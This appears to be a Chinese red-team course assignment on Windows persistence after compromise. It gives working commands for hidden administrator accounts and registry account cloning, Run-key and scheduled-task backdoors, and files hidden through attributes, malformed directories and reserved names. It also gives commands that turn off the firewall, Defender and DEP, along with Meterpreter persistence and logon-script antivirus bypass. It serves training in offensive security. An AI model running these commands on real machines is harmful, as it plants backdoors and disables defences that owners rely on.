windows权限维持大结局

文章来源|MS08067 红队攻防实战班作业

本文作者:苏杰波、李布杰(红队攻防实战班2期学员)


1.     通过组策略运行指定脚本添加隐藏用户

在“开始菜单”->“运行”中输入gpedit.msc打开组策略编辑器,在左边导航栏中选择“计算机配置”->“windows设置”->“脚本(启动/关机)”,双击其右边的“启动”选项,打开“启动属性”窗口:

1f219e34116f5354dad620a1264808c2.png

操作系统启动时自动运行该脚本,使用net user命令查看未发现hacker$用户,但通过net user hacker$查看该用户时发现它确实存在:

78d6602eafc47f374ba1e9dc2e6f751f.png

但在本地安全策略中可看到:

827c589df647adec8819f2b0455abeed.png

需通过在注册表中进行类似账号克隆的操作,分别将如下图所示的项分别导出为item1.reg和item2.reg:

e5be9742da697b608cb8d880d0069073.png

121f46f2d6241b7a7864fcd42d445cb5.png

在item1.reg中编辑F参数,通过复制Administrator在注册表中的F参数将该其覆盖后保存:

abaeef3c10615d9d4ec4ce1ff40b3cb7.png

在cmd命令中执行“net user hacker$ /del”,然后双击item1.reg和item2.reg重新将hacker$用户写入到注册表中,此时在本地安全策略中已无hacker$用户,它只存留在注册表中:

27a36900d99c8672277dcf6584aedd73.png

用“net user hacker$”查看发现该用户存在:

bf921b51069bf20c041e509587f19efc.png

2.     在注册表中添加启动自动运行后门

下图所示为注册表中启动自动运行的目标目录:

e970926b44f7b7232e64ea3f43423c5c.png

85e83f8b946c533cd5a43574f87f308f.png

通过reg add

"HKEY_CURRENT_USER\software\microsoft\windows\CurrentVersion\Run" /vmyPersist /t reg_sz /d "C:\Users\Administrator\Desktop\persist.exe"

命令,可将启动自动运行的程序添加到注册表中的相应项:

1343d703e99dae88b86f13013049e2e7.png

3.     通过计划任务添加后门

添加计划任务,每隔1分钟执行一次:

58c679bcc9a0e472f9932f6960da6eff.png

4.     services.msc

4b7aad59edc2140149f150d8eb601133.png

Windows 权限维持

隐藏技巧

"真正"的隐藏文件 

命令:Attrib +s +a +h +r [文件]

+s:系统 

+h:隐藏 

+r:只读

加上s属性后,文件会进一步被隐藏(打开查看隐藏文件都看不见),只有使用 dir - h(ls -h) 等才能看见。

当文件被加上s属性后,后续操作可能没有足够的权限取操作,需要先去掉s属性才能进行后续的操作。

改变系统文件夹图标

通过更改文件夹名称,能更改文件夹图标和双击打开的动作(命令行模式仍可以正常使用)。 

但通过命令行模式仍能看见其后缀。

一些代号
我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
回收站.{645ff040-5081-101b-9f08-00aa002f954e}
拔号⽹络.{992CFFA0-F557-101A-88EC-00DD010CCC48} 
打印机.{2227a280-3aea-1069-a2de-08002b30309d} 
控制⾯板.{21ec2020-3aea-1069-a2dd-08002b30309d} 
⽹上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}

畸形目录

只有使用cmd能成功,

powershell不行 创建成功后图形界面不会显示,

但命令行能看见。某些操作不能对其作用,如 cd,dir等 ,但可以 copy 文件进去,或者直接查看文件 

创建目录:md test....\ 

删除目录:rd /s /q test....\

77a7ef87ccabd0dcb5fae78ae65db185.png

利用系统保留的文件名创建无法删除的webshell

只有使用cmd能成功,powershell不行 

保留文件名: aux com1 com2 prn con nul 等 

图形化使用此类名创建文件将会报错

此类文件图形化看不见,命令行可以

0a3e9be2c4180a3f7ff7fbaa9afa7e77.png

但可以通过cmd创建,创建和删除时要用绝对路径 

创建:md \\\\.\c:\com1\ 

删除: rd \\.\c:\com1\

创建与操作文件需要管理员权限,目录不需要 

在创建是添加 \\.\ 前缀是为了便于访问,不然访问时会将目标当作一个IO设备处理。

驱动级隐藏文件

工具:Easy File Locker

下载链接:http://www.xoslab.com/efl.html

通过设置其属性,达到对应目的(隐藏后命令行也不可见,只有知道完整目录才能访问)改软件可以设置密码、自启动,可以删除主界面,卸载程序都可以,只留下核心驱动文件即可。

24f0d6f9241c5591ddfdb63d9afa68d3.png

如何清除

1. 查询服务状态:sc qc xlkfs
2. 停止服务:net stop xlkfs(停止后,文件便会显现出来,cmd能见)
3. 删除服务:sc delete xlkfs
4. 删除系统目录下的文件,重启系统,确认服务被清除。

关闭杀软

命令 

需要管理员权限 

关闭防火墙:netsh advfirewall set allprofiles state off

关闭Defender: Net stop windefend 

关闭DEP(数据执行保护): bcdedit /set {current} nx alwaysoff

Meterpreter

直接运行 run killav

ea93ab519680b765d2154f74c8faa3da.png

策略组(作业)

gpedit.msc -> 计算机配置 -> windows设置 -> 脚本

通过设置启动与关机时要运行的脚本,执行相关命令。(创建账户、嗅探密码、远程登录等)

# bat
@echo off
net user hack$ 123qwe /add
net localgroup administrators hack$ /add
exit

注册表(作业)

尽量使用 HKEY_LOCAL_MASHINE 而不是 HKEY_CURRNET_USER (没有的键值对需要自己去新建)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 添加键,键值为
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 只会运行一
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServer 以服务
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServerOnce 只
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\001 (
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\001\De
同理的还有HKEY_CURRNET_USER树下的。

Meterpreter

1. Persistence后门 

在 Meterpreter 中 Persistence 用于后渗透中的权限维持。通常是通过 cscript.exe 这个程序去执行,创建一个 VBS 脚本 (msf和cs都是,对应的,cs是通过rundll32.exe去执行命令,而msf是通过其启动的后门文件。)

5ce6f2ef3dd196647d9169ca6b641ad4.png

常用的参数有

-S 创建一个服务,随系统启动而启动(System权限)
-U 用户登录时启动后门,就是向注册表HKCU树下写入自启动项
-X 系统登录启动后门,向注册表HKLM树下写入启动项

关于创建的持续性后门,当这个后门启动的时候会周期性的连接目标,只要 cscript.exe 这个进程没有结束。

SharPersist

计划任务(schtasks.exe)(作业)

schtasks.exe 用于在windows系统中指定任务计划,使其能在特定的事件日期执行程序和脚本。

SCHTASKS /parameter [arguments]
描述:
 允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任
 务。参数列表:
 /Create 创建新计划任务。
 /Delete 删除计划任务。
 /Query 显示所有计划任务。
 /Change 更改计划任务属性。
 /Run 按需运行计划任务。
 /End 中止当前正在运行的计划任务。
 /ShowSid 显示与计划的任务名称相应的安全标识符。
 /? 显示此帮助消息。

示例

schtasks /create /tn/tr <"程序路径和文件名"> /sc <什么时候运行 如 o

创建计划任务启动notepad(需要管理员权限)

0f23063108ee1c37f59e2f8bd83c1fbe.png

对应的可以在 _Task Scheduler 查看

975d7730543f610d7cdebbfeb803a6b3.png

在svchost进程下成功创建了notepad进程

ed3dee20e8b42d7dd13b0857d573753b.png

当使用指定账户创建运行计划任务时,当前用户必须具有与之相对或者更高的权限 (使用管理员账户以ystem权限运行计划任务失败)

创建新服务(作业)

cmd使用 sc 对任务进行管理,powershell中使用 get-help service 查看对应的服务操作命令

创建

sccreate [service name] [binPath= ]...
选项:
注意: 选项名称包括等号。等号和值之间需要一个空格。type=(默认 = own)
start=(默认 = demand)
error=(默认 = normal)
binPath= <.exe 文件的 BinaryPathName>
group=tag=depend= <依存关系(以 / (斜杠)分隔)>
obj=(默认= LocalSystem)
DisplayName= <显示名称>
password= <密码>

实例

创建服务:sc createbinpath= <"可执行二进制文件"> start= <"启动模式"> obj
启动服务: sc start删除实例:sc delete

创建服务能成功,但是启动一直爆1053错误。

f1f4883af19ba4961a47f47747f238de.png

启动错误

3ed8cd0161dea1464056b41062b3ffe7.png

内存马

劫持后门

MSDTC服务 (没成功) MSDTC服务开启时默认会加载三个DLL: oci.dll、SQLLib80.dll、xa80.dll , windows系统默认不包括 oci.dll ,将后门dll重命名并放置到 %SystemRoot%\system32\ 中,远程杀掉 MSDTC 服务,使其重启,加载恶意DLL.

镜像劫持

Logon Scripts 

Logon Scripts比av先执行,利用这点可以绕过av 

注册表路径:HKEY_CURRENT_USER\Environment 键:UserInitMprLogonScript

值:恶意文件路径

扫描下方二维码加入星球学习

加入后邀请你进入内部微信群,内部微信群永久有效!

a7544fbcff54cf7c920c5a81425ff7a2.png c0a84abf97dbb09dda4d442c23436c46.png

8914c8f2e1b7ba43692463418051bd18.png5ce5da127f630fee55d4a4b39b929277.png

af12c9f83359dca6b1a577f15cdb0ccd.png 367af9f44fc02154e3d398ca5481b960.png

               来和5000+位同学一起加入星球学习吧!
0048013563b29fa363ad1b9d31a8e2b1.gif

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值